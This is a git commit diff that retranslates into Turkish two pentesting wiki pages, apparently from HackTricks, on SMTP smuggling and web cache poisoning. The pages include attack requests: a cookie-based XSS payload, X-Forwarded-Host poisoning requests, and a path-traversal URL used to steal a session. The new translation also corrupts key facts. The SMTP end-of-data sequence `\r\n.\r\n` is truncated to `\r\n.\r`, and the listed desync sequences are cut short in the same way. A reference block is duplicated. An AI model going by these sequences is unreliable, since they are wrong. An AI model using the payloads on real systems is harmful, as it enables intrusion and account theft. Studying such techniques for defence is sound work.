Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.

This commit is contained in:
Translator 2024-08-18 11:02:02 +00:00
parent 5dd13c4f6f
commit 3501be01d8
12 changed files with 272 additions and 180 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

View file

@ -531,6 +531,7 @@
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
* [Cache Poisoning via URL discrepancies](pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md)
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
* [Clickjacking](pentesting-web/clickjacking.md)
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)

View file

@ -1,15 +1,15 @@
# SMTP Smuggling
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -21,40 +21,40 @@ Bu tür bir zafiyet [**bu yazıda ilk olarak keşfedilmiştir**](https://sec-con
### Neden
Bu, SMTP protokolünde, e-postada gönderilecek **mesaj verisinin** bir kullanıcı (saldırgan) tarafından kontrol edilmesindendir; bu kullanıcı, alıcıda ekstra e-postalar gizlemek için ayrıştırıcılardaki farklılıklardan yararlanarak özel olarak hazırlanmış veriler gönderebilir. İşte orijinal yazıdan bir örnek:
Bu, SMTP protokolünde, e-postada gönderilecek **mesaj verisinin** bir kullanıcı (saldırgan) tarafından kontrol edilmesindendir; bu kullanıcı, alıcıda ekstra e-postalar gizlemek için ayrıştırıcılardaki farklılıkları istismar eden özel olarak hazırlanmış veriler gönderebilir. İşte orijinal yazıdan bir örnek:
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### Nasıl
Bu zafiyeti istismar etmek için bir saldırgan, **Çıkış SMPT sunucusunun sadece 1 e-posta olduğunu düşündüğü ancak Giriş SMTP sunucusunun birkaç e-posta olduğunu düşündüğü** bazı veriler göndermelidir.
Bu zafiyeti istismar etmek için bir saldırgan, **Çıkış SMPT sunucusunun sadece 1 e-posta olduğunu düşündüğü ancak Giriş SMTP sunucusunun birden fazla e-posta olduğunu düşündüğü** bazı veriler göndermelidir.
Araştırmacılar, farklı **Giriş sunucularının e-posta mesajının verisinin sonunu farklı karakterler olarak değerlendirdiğini** keşfettiler; Çıkış sunucularının ise bunu yapmadığını.\
Örneğin, verinin normal sonu `\r\n.\r\n` şeklindedir. Ancak Giriş SMTP sunucusu `\n.\n` desteği de sağlıyorsa, bir saldırgan **bu veriyi e-postasına ekleyebilir ve yeni e-postaları gizlemek için SMTP komutlarını göstermeye başlayabilir**; tıpkı önceki resimde olduğu gibi.
Örneğin, verinin normal sonu `\r\n.\r`'dir. Ancak, Giriş SMTP sunucusu `\n.`'yi de destekliyorsa, bir saldırgan **bu veriyi e-postasına ekleyebilir ve yeni e-postaları gizlemek için SMTP komutlarını göstermeye başlayabilir**; tıpkı önceki resimde olduğu gibi.
Tabii ki, bu yalnızca **Çıkış SMTP sunucusu bu veriyi** mesaj verisinin sonu olarak değerlendirmediği takdirde çalışabilir; çünkü bu durumda 1 yerine 2 e-posta görecektir, bu nedenle sonunda bu, bu zafiyette istismar edilen senkronizasyon bozukluğudur.
Potansiyel senkronizasyon bozukluğu verileri:
* `\n.\n`
* `\n.\r\n`
* `\n.`
* `\n.\r`
Ayrıca, SPF'nin aşıldığını unutmayın; çünkü `user@outlook.com` adresinden `admin@outlook.com` adresine bir e-posta gizlerseniz, **gönderen hala `outlook.com` olacaktır.**
Ayrıca, SPF'nin aşıldığını unutmayın; çünkü `user@outlook.com`'dan `admin@outlook.com`'a bir e-posta gizlerseniz, **gönderen hala `outlook.com`'dur.**
## **Referanslar**
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,15 +1,15 @@
# Cache Poisoning and Cache Deception
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -18,7 +18,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
@ -27,17 +27,17 @@ Bugün Erişim Alın:
> **Web cache poisoning ile web cache deception arasındaki fark nedir?**
>
> * **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik, diğer uygulama kullanıcılarına önbellekten sunulur.
> * **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
> * **Web cache deception**'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten alır.
## Cache Poisoning
Cache poisoning, istemci tarafı önbelleğini manipüle etmeyi amaçlar ve istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemelerini zorlar. Etkilerin kapsamı, etkilenen sayfanın popülaritesine bağlıdır; çünkü kirlenmiş yanıt, önbellek kontaminasyonu süresince sayfayı ziyaret eden kullanıcılara özel olarak sunulur.
Cache poisoning, istemci tarafı önbelleğini manipüle ederek istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemeye zorlamayı amaçlar. Etkisi, etkilenen sayfanın popülaritesine bağlıdır, çünkü kirlenmiş yanıt yalnızca önbellek kirlenme süresi boyunca sayfayı ziyaret eden kullanıcılara sunulur.
Cache poisoning saldırısının gerçekleştirilmesi birkaç adım içerir:
1. **Anahtarsız Girdilerin Belirlenmesi**: Bunlar, bir isteğin önbelleğe alınması için gerekli olmasa da, sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin belirlenmesi, önbelleği manipüle etmek için sömürülebileceğinden kritik öneme sahiptir.
2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırganın yararına sunucunun yanıtını değiştirmek için nasıl kötüye kullanacağını bulmaktır.
2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırgana fayda sağlayacak şekilde sunucunun yanıtını değiştirmek için nasıl kötüye kullanacağınızı bulmaktır.
3. **Kirlenmiş Yanıtın Önbelleğe Alındığının Garantilenmesi**: Son adım, manipüle edilmiş yanıtın önbelleğe kaydedildiğinden emin olmaktır. Bu şekilde, önbellek kirlenmişken etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alacaktır.
### Keşif: HTTP başlıklarını kontrol et
@ -46,7 +46,7 @@ Genellikle, bir yanıt **önbelleğe alındığında** bununla ilgili bir **baş
### Keşif: Önbellek hata kodları
Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz; bu, **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeye çalışın ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
Yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu da **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeyi deneyin ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
Daha fazla seçenek bulabilirsiniz:
@ -58,23 +58,26 @@ Ancak, **bazen bu tür durum kodlarının önbelleğe alınmadığını** unutma
### Keşif: Anahtarsız girdileri tanımlayın ve değerlendirin
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak **sayfanın yanıtını değiştirebilecek parametreleri ve başlıkları** **kaba kuvvetle** deneyebilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin buradan script yüklemesini belirtiyor olabilir:
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak **sayfanın yanıtını değiştirebilecek** parametreleri ve başlıkları **kaba kuvvetle denemeyi** deneyebilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin buradan script yüklemesini belirtiyor olabilir:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Arka uç sunucudan zararlı bir yanıt elde etme
Parametre/başlık belirlendikten sonra, **nasıl** **temizlendiğini** ve **nerede** **yansıtıldığını** veya başlıktan gelen yanıtı nasıl etkilediğini kontrol edin. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya sizin kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...)
Parametre/başlık belirlendikten sonra, **nasıl** **temizlendiğini** ve **nerede** **yansıtıldığını** veya başlıktan gelen yanıtı nasıl etkilediğini kontrol edin. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirmek veya sizin kontrolünüzde bir JS kodu yüklemek? DoS gerçekleştirmek?...)
### Yanıtı önbelleğe al
Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** **kötüye kullanılacağını** belirlemeniz gerekir, sayfanın önbelleğe alınmasını sağlamalısınız. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.\
Yanıt içindeki **`X-Cache`** başlığı, isteğin önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabileceğinden çok faydalı olabilir.\
**`Cache-Control`** başlığı, bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için de ilginçtir: `Cache-Control: public, max-age=1800`\
Bir diğer ilginç başlık **`Vary`**dir. Bu başlık, genellikle **önbellek anahtarının bir parçası olarak** ele alınan **ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, hedeflediği kurbanın `User-Agent`'ını bilen bir kullanıcı, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.\
Önbellek ile ilgili bir başlık daha **`Age`**dir. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** **kötüye kullanılacağını** belirlemeniz gerekir, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.
Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bunların bazıları **beklenmedik şekilde** **anahtarlı** olarak **kullanılabilir** ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning **testi** yapın ve çalışıp çalışmadığını kontrol edin.
Yanıt içindeki **`X-Cache`** başlığı, isteğin önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabileceğinden çok faydalı olabilir.\
**`Cache-Control`** başlığı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800`
Bir diğer ilginç başlık **`Vary`**. Bu başlık, genellikle **önbellek anahtarı** olarak **işlem gören ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, hedeflediği kurbanın `User-Agent`'ını bilen bir kullanıcı, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.
Önbellek ile ilgili bir başlık daha **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak **kullanılabilir** ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin** ve çalışıp çalışmadığını kontrol edin.
## Sömürü Örnekleri
@ -103,15 +106,29 @@ GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Not edin ki, eğer savunmasız çerez kullanıcılar tarafından çok kullanılıyorsa, düzenli istekler önbelleği temizleyecektir.
Not edin ki, eğer zayıf cookie kullanıcılar tarafından çok kullanılıyorsa, düzenli istekler önbelleği temizleyecektir.
### Ayırıcılar, normalizasyon ve noktalar ile tutarsızlıklar oluşturma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Kontrol et:
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
{% endcontent-ref %}
### API anahtarını çalmak için yol geçişi ile önbellek zehirleme <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığınııklamaktadır çünkü `/share/*` ile eşleşen her şey, Cloudflare URL'yi normalleştirmeden önbelleğe alınacaktır; bu, istek web sunucusuna ulaştığında yapılmıştır.
[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile OpenAI API anahtarının nasıl çalındığınııklıyor çünkü `/share/*` ile eşleşen her şey, Cloudflare URL'yi normalleştirmeden önbelleğe alınacak, bu da isteğin web sunucusuna ulaştığında yapılmıştır.
### Web önbellek zehirleme açıklarını istismar etmek için birden fazla başlık kullanma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Bu, daha iyi bir şekilde de açıklanmıştır:
Bazen bir önbelleği kötüye kullanabilmek için **birden fazla anahtarsız girişi istismar etmeniz** gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye işaret ettiğini kontrol edebilirsiniz.
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
{% endcontent-ref %}
### Web önbellek zehirleme zayıflıklarını istismar etmek için birden fazla başlık kullanma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girdi** istismar etmeniz gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye işaret ettiğini kontrol edebilirsiniz.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -120,7 +137,7 @@ X-Forwarded-Scheme: http
```
### Sınırlı `Vary` başlığı ile istismar
Eğer **`X-Host`** başlığının **JS kaynağını yüklemek için alan adı olarak** kullanıldığını ancak yanıtın **`Vary`** başlığının **`User-Agent`** belirttiğini bulduysanız, o zaman kurbanın User-Agent'ını dışarı sızdırmanın ve bu kullanıcı ajanını kullanarak önbelleği zehirlemenin bir yolunu bulmalısınız:
Eğer **`X-Host`** başlığının **JS kaynağını yüklemek için alan adı** olarak kullanıldığını ancak yanıtın **`Vary`** başlığının **`User-Agent`** belirttiğini bulduysanız, o zaman kurbanın User-Agent'ını dışarı sızdırmanın ve bu kullanıcı ajanını kullanarak önbelleği zehirlemenin bir yolunu bulmalısınız:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@ -146,28 +163,16 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### HTTP İstemci Kaçırma ile HTTP Cache Poisoning Saldırıları
### HTTP İstemci Kaçırma ile HTTP Cache Zehirlemesini Kötüye Kullanma
[Cache Poisoning saldırılarını HTTP İstemci Kaçırma ile nasıl gerçekleştireceğinizi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) burada öğrenin.
[HTTP İstemci Kaçırma ile Cache Zehirleme saldırıları nasıl gerçekleştirilir](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) hakkında burada bilgi edinin.
### Web Cache Poisoning için Otomatik Test
### Web Cache Zehirlemesi için Otomatik Test
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner), web cache poisoning için otomatik test yapmak üzere kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilir.
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner), web cache zehirlemesi için otomatik test yapmak üzere kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilir.
Örnek kullanım: `wcvs -u example.com`
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## Açık Örnekler
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
@ -180,11 +185,11 @@ ATS, URL içindeki parçayı kesmeden iletti ve yalnızca ana bilgisayar, yol ve
### GitLab + GCP CP-DoS
GitLab, statik içeriği depolamak için GCP bucket'larını kullanır. **GCP Bucket'ları**, **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmesi için zehirlemek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilir.
GitLab, statik içeriği depolamak için GCP bucket'larını kullanır. **GCP Buckets**, **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmesi için zehirlemek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilir.
### Rack Middleware (Ruby on Rails)
Ruby on Rails uygulamalarında, Rack middleware sıklıkla kullanılmaktadır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
Ruby on Rails uygulamalarında, Rack middleware sıklıkla kullanılmaktadır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu durum, o kaynağa bir Hizmet Reddi (DoS) oluşturabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
### 403 ve Depolama Bucket'ları
@ -192,23 +197,23 @@ Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkile
### Anahtarlı Parametreleri Enjekte Etme
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlu bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlu parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atılmasına ancak arka uç tarafından kullanılmasına neden oldu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlandı.
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlamalı bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlamalı parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atlanmasına ancak arka uç tarafından kullanılmasına yol açtı. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatasına neden oldu.
### Kullanıcı Aracı Kuralları
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıklarını ortaya çıkarabilir.
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıkları oluşturabilir.
